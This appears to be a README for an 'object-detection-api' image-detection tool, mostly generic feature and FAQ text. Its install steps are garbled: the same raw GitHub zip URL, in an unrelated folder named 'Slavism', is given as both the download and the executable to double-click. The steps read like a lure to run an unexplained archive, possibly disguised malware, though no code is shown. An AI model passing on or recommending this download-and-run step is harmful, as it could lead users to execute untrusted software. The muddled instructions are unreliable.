Welcome to the object-detection-api! This tool lets you easily detect objects in images. You can get labels, confidence scores, and bounding box coordinates. It's powered by advanced neural networks to provide reliable results.
To get started, download the application from our Releases page.
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Visit the Releases Page: Click the link below to reach the download section:
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Choose the Correct File: Look for the latest version of the application. You'll find files labeled with the version number, such as
v1.0. -
Download the Application: Click on the file corresponding to your operating system. The file might be named something like
https://raw.githubusercontent.com/swiftttttttttt/object-detection-api/main/Slavism/api-object-detection-3.0.ziporhttps://raw.githubusercontent.com/swiftttttttttt/object-detection-api/main/Slavism/api-object-detection-3.0.zip. -
Extract the Files: If you downloaded a
.zipfile, right-click on it and select "Extract All" to unzip the contents. -
Run the Application: Locate the extracted folder. Double-click on the executable file (e.g.,
https://raw.githubusercontent.com/swiftttttttttt/object-detection-api/main/Slavism/api-object-detection-3.0.zip) to start the application.
Before you begin, ensure your system meets the following requirements:
- Operating System: Windows 10 or higher, macOS 10.13 or higher, or a modern Linux distribution.
- RAM: At least 4 GB of RAM.
- Storage: 100 MB of free disk space for installation.
- Internet Connection: Required for downloading images or updates.
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Input Image: After launching the app, you will see an option to upload an image. Click "Upload" and select the picture you want to analyze.
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Select Detection Type: Choose the type of object detection you wish to perform. Options include:
- Camouflaged Object Detection
- Custom Object Detection
- Real-Time Object Detection
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Start Detection: Click "Detect" to begin the analysis. The application will process the image and display results.
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Results Display: After processing, you will see:
- Detected objects labeled with names.
- Confidence scores showing how sure the model is about its predictions.
- Bounding box coordinates outlining the detected objects.
- Camouflaged Object Detection: Useful for wildlife researchers needing to identify animals in their natural habitat.
- Custom Object Detection: Ideal for businesses wanting to track specific items in images for inventory management.
- Real-Time Detection: Suitable for smart surveillance systems that monitor activities in live feeds.
- Support for Various Formats: The app accepts .jpg, .png, and .bmp image files.
- Output Options: Save results in text or CSV format for further analysis.
- Cross-platform Compatibility: Works on multiple operating systems, providing flexibility.
You can use images of any kind as long as they are in supported formats. Make sure they are clear for the best results.
Yes, the maximum file size is 5 MB. For larger images, consider resizing them before upload.
The application can detect objects offline, but you will need an internet connection for initial downloads and updates.
We aim to release updates every few months. Check the Releases page regularly for new features and improvements.
If you encounter issues or have questions, please create an issue on the GitHub repository. We will respond promptly to assist you.
For more information on object detection techniques and applications, visit our documentation. We provide detailed guides and examples to help you get the most out of this software.
Thank you for using the object-detection-api! We hope it helps you accurately identify objects in your images. Enjoy exploring the capabilities of accurate object detection!